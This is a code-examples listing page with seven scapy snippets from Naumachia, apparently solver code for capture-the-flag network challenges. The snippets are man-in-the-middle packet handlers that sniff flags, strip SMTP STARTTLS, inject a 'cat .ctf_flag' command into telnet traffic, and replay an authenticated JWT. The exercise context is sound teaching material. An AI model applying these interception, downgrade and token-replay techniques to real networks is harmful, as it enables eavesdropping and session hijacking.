Python scapy.all.all() Examples

The following are 7 code examples of scapy.all.all(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module scapy.all , or try the search function .
Example #1
Source File: scraps.py    From Naumachia with MIT License 5 votes vote down vote up
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.TCP)):
                logger.debug(pkt.sprintf("[%Ether.src%]%IP.src%:%TCP.sport% > [%Ether.dst%]%IP.dst%:%TCP.dport% %TCP.flags%"))
                if pkt[scapy.Ether].dst == str(net.ifhwaddr(self.iface)) and pkt[scapy.TCP].flags == 2:
                    self.bindaddr, self.bindport = pkt[scapy.IP].dst, pkt[scapy.TCP].dport
                    if self._thread is None or not self._thread.is_alive():
                        self._thread = threading.Thread(target=self.intercept)
                        self._thread.start() 
Example #2
Source File: letter.py    From Naumachia with MIT License 4 votes vote down vote up
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.flag = m.group(0)
                    self.sniffer.stop() 
Example #3
Source File: letter.py    From Naumachia with MIT License 4 votes vote down vote up
def corrupttls(pkt):
        """corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)):
            if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load:
                pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO')
        return pkt 
Example #4
Source File: piggies.py    From Naumachia with MIT License 4 votes vote down vote up
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.flag = m.group(0)
                    self.sniffer.stop() 
Example #5
Source File: piggies.py    From Naumachia with MIT License 4 votes vote down vote up
def injectcmd(pkt):
        """injectcmd looks for a telnet client packet and if it has the `cd` command, reaplces it with `cat .ctf_flag`"""
        if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
            if scapy.Raw in pkt and pkt[scapy.TCP].dport == 23:
                raw = pkt[scapy.Raw]
                if b'cd ' in raw.load:
                    raw.load = b'cat .ctf_flag\n'
        return pkt 
Example #6
Source File: middle.py    From Naumachia with MIT License 4 votes vote down vote up
def process(self, pkt):
            if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.UDP, scapy.Raw)):
                logger.debug(pkt.sprintf('%IP.src%: %Raw.load%'))

                try:
                    load = pkt.load.decode('utf-8')
                except UnicodeDecodeError:
                    return

                m = re.search(self.flagpattern, load)
                if m:
                    self.question = m.group(0)
                elif 'Yup' in load and self.question is not None:
                    self.flag = self.question
                    self.sniffer.stop() 
Example #7
Source File: recipe.py    From Naumachia with MIT License 4 votes vote down vote up
def filter(self, pkt):
            if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)):
                tcp, raw = pkt[scapy.TCP], pkt[scapy.Raw]
                if tcp.sport == self.port:
                    try:
                        if jwt.decode(raw.load, verify=False)['auth']:
                            self.authed_token = raw.load
                        elif self.authed_token is not None:
                            raw.load = self.authed_token
                    except (jwt.DecodeError, KeyError):
                        pass
            return pkt